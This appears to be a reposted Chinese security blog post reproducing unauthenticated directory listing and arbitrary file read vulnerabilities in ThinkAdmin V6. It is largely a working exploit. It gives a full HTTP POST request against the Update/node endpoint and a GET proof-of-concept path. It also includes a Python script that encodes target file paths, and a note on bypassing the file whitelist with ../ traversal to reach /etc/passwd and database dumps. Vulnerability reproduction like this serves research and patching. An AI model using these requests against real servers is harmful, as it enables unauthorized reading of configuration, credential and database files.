zoukankan      html  css  js  c++  java
  • ThinkAdminV6未授权列目录、任意文件读取漏洞复现

    ThinkAdminV6漏洞复现

    一、简介

    ThinkAdmin是基于 ThinkPHP 的微信后台管理平台

    二、漏洞影响版本

    ThinkAdminV6

    三、漏洞复现

    未授权列目录:

    POC:

    POST /admin.html?s=admin/api.Update/node HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 22
    
    rules=%5B%22.%2F%22%5D

    1、目录遍历注意POST数据包rules参数值需要URL编码

    任意文件读取:

    ThinkAdmin V6.0  <=2020.08.03.01

    判断版本

    POC:

     /admin.html?s=admin/api.Update/get/encode/xxx

    文件加密脚本

    import requests,json,base64,sys
    
    def baseN(num, b):
      return ((num == 0) and "0") or 
         (baseN(num // b, b).lstrip("0") + "0123456789abcdefghijklmnopqrstuvwxyz"[num % b])
    
    def poc(url):
        while 1:
            s = input("请输入需要读取的文件路径:").encode('utf-8')
    
            if str(s) == "b'exit'":
                sys.exit(0)
    
            try:
                poc =""
                for i in s:
                    poc += baseN(i,36)
    
                print(poc)
            except:
                pass
    
    if __name__ == "__main__":
        if len(sys.argv) == 2:
            poc(sys.argv[1])
        else:
            print("""
     _____ _     _       _     ___      _           _       
    |_   _| |   (_)     | |   / _     | |         (_)      
      | | | |__  _ _ __ | | _/ /_  __| |_ __ ___  _ _ __  
      | | | '_ | | '_ | |/ /  _  |/ _` | '_ ` _ | | '_  
      | | | | | | | | | |   <| | | | (_| | | | | | | | | | |
      \_/ |_| |_|_|_| |_|_|\_\_| |_/\__,_|_| |_| |_|_|_| |_| v6
                                                            
    By: yuyan-sec 	 [ThinkAdmin v6 任意文件读取]
    Usage: python poc.py [URL]
        python poc.py http://127.0.0.1
                """)

    1、首先通过加密脚本或者文件加密之后的一串字符

    2、构造访问,成功读取/app/admin/controller/Config.php文件,显示的是经过base64加密之后的字符串,需要进行base64解密

    3、尝试直接读取别的文件,/app/data/data.sql、/etc/passwd,直接读取不行,因为

    有一个允许的列表:

    config

    public/static

    public/router.php

    public/index.php
    app/admin

    app/wechat

    但是可以通过../进行目录穿越进行绕过

    ----------------------------------------------------------------------------------------------

    参考:https://github.com/zoujingli/ThinkAdmin/issues/244

    https://github.com/yuyan-sec/goTools/tree/master/ThinkAdmin




  • 相关阅读:
    Checking Types Against the Real World in TypeScript
    nexus pip proxy config
    go.rice 强大灵活的golang 静态资源嵌入包
    几个golang 静态资源嵌入包
    rpm 子包创建学习
    Rpm Creating Subpackages
    ava 类似jest snapshot 功能试用
    ava js 测试框架基本试用
    The Architectural Principles Behind Vrbo’s GraphQL Implementation
    graphql-compose graphql schema 生成工具集
  • 原文地址:https://www.cnblogs.com/yuzly/p/13689862.html
Copyright © 2011-2022 走看看